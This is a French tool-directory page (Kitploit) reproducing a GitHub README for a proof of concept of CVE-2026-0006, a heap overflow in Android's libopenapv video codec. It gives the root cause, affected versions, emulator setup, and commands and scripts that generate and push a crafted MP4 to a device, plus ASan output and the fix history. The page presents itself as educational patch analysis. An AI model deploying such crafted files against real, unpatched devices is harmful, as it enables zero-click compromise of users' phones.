Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006 : PoC de dépassement de tampon sur le tas pour libopenapv (codec APV d'Android) - CVSS 9.8 | Kitploit
Outils/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Sécurité AndroidAnalyse des VulnérabilitésAnalyse de CodeExploitationFuzzingSécurité MobileApprentissage et ÉducationExploitation de BinairesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006 : PoC de dépassement de tampon sur le tas pour libopenapv (codec APV d'Android) - CVSS 9.8

Voir le dépôt
126il y a 4 moisPas encore vérifié

CVE-2026-0006 : Débordement de tas dans libopenapv (codec APV Android)

Analyse du correctif et reproduction par Mobile Hacking Lab

CVSS 9.8 Critique | Exploité activement dans la nature | Correctif publié en mars 2026

Note : Nous n'avons pas découvert cette vulnérabilité. Tout le mérite de la découverte et du signalement responsable de CVE-2026-0006 revient aux chercheurs d'origine. Ce dépôt contient notre analyse indépendante du correctif, notre reproduction et notre article pédagogique pour aider la communauté de la sécurité à comprendre la classe de bug et les techniques d'exploitation impliquées.

Démo : deploy_exploit_mp4.sh déclenchant un SIGSEGV dans mediaswcodec

Présentation

CVE-2026-0006 est un débordement de tas dans libopenapv, le codec open-source APV (Advanced Professional Video) de Samsung, intégré à Android 16 en tant que module Mainline.

La vulnérabilité permet une exécution de code à distance sans interaction via un fichier MP4 spécialement conçu. Le framework multimédia d'Android traite automatiquement les fichiers vidéo pour générer des vignettes et des aperçus — aucune interaction de l'utilisateur n'est requise.

Cause racine

oapvd_info() et oapvd_decode() lisent les dimensions de la trame à partir de PBU différents (Payload Byte Units). Un attaquant injecte un PBU AU_INFO (type 65) indiquant de petites dimensions (16x16), tandis que le PBU FRAME réel encode de grandes dimensions (64x64). Le framework alloue les tampons en fonction de la sortie de oapvd_info(), puis oapvd_decode() écrit les pixels décodés aux dimensions du PBU FRAME — débordant le tampon de 14 848 octets.

Versions affectées

  • libopenapv v0.1.11.1 jusqu'à v0.1.13.0
  • Appareils Android 16 avec un niveau de correctif de sécurité antérieur à mars 2026
  • Samsung Galaxy S26 Ultra et autres appareils prenant en charge le codec APV

Contenu du dépôt

Configuration de l'environnement de test

Vous avez besoin d'un émulateur Android 16 avec un niveau de correctif de sécurité antérieur à mars 2026 (le décodeur APV n'est pas présent dans les versions antérieures d'Android).

Créer l'AVD

root@kitploit:~
# Installer l'image système requise (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Créer l'AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Lancer l'émulateur
emulator -avd android16_apv -no-snapshot-load

Vérifier la présence du décodeur APV

root@kitploit:~
# Vérifier que le module du codec APV existe
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Vérifier le niveau de correctif de sécurité (doit être antérieur au 01/03/2026)
adb shell getprop ro.build.version.security_patch

Si le correctif de sécurité est 2026-03-01 ou ultérieur, la vulnérabilité a été corrigée et l'exploitation ne fonctionnera pas. Utilisez une image système ou un snapshot antérieur.

Démarrage rapide

Option 1 : Déployer le MP4 d'exploitation pré-construit sur l'appareil Android

root@kitploit:~
# Nécessite : adb connecté à un appareil/émulateur Android 16 (correctif antérieur à mars 2026)
./deploy_exploit_mp4.sh

Ce script génère le MP4 d'exploitation, le pousse sur l'appareil, l'ouvre et capture la sortie du crash. Le crash peut ne pas se déclencher à la première tentative — le script réessaie automatiquement jusqu'à 3 fois.

Option 2 : Générer uniquement le MP4 d'exploitation

root@kitploit:~
# Nécessite : valid.apv et apv-mp4/valid_ffmpeg.mp4 (tous deux inclus)
python3 generate_overflow_mp4.py

Option 3 : Compiler en croisé le PoC ASan pour ARM64

root@kitploit:~
# Nécessite : Android NDK r29+, sources de libopenapv v0.1.11.3
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Compiler libopenapv avec ASan pour ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Compiler en croisé le PoC MP4 ASan
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Pousser et exécuter sur l'appareil
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Sortie ASan attendue

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Comment cela a été corrigé

  1. Contrôles de limites immédiats (commit fb6a5eab) : validation de ssize > 4 et vérification de la signature 'aPv1'
  2. Validation des paramètres (v0.1.13.1) : module oapv_param.c pour la validation des dimensions et de la taille des tuiles
  3. Accès sûr au flux binaire (v0.2.0.0) : lectures avec contrôle des limites au niveau du lecteur de flux binaire

Références

  • Bulletin de sécurité Android - mars 2026
  • libopenapv GitHub
  • RFC 9924 - Codec APV
  • Mobile Hacking Lab - Article complet

Crédits

Cette vulnérabilité a été découverte et signalée de manière responsable par les chercheurs en sécurité d'origine. Nous n'avons pas trouvé cette CVE. Tout le mérite de la découverte leur revient.

Ce dépôt représente l'analyse indépendante du correctif et la reproduction de Mobile Hacking Lab — créé à des fins pédagogiques pour aider la communauté de la sécurité à tirer des enseignements de vulnérabilités réelles.

Avertissement

Cette recherche a été menée à des fins pédagogiques sur des builds de test isolés de la bibliothèque vulnérable. Tous les tests ont été effectués sur des binaires compilés localement du projet open-source libopenapv. Aucun appareil ou système de production n'a été ciblé.

Télécharger l’outil
FichierDescription
generate_overflow_mp4.pyGénère le MP4 d'exploitation avec l'incohérence de dimensions AU_INFO
deploy_exploit_mp4.shTout-en-un : génère, pousse sur l'appareil Android, ouvre et capture le crash
poc_mp4_asan.cPoC ASan imitant le chemin de décodage de C2SoftApvDec
poc_android_oob_write.cPoC ARM64 autonome avec détection de débordement par région de garde
valid.apvFlux binaire APV valide de 337 octets (64x64, YUV422, 10 bits)
apv-mp4/valid_ffmpeg.mp4Conteneur MP4 de référence (généré par ffmpeg)
apv-mp4/overflow_auinfo.mp4MP4 d'exploitation pré-construit (1 178 octets)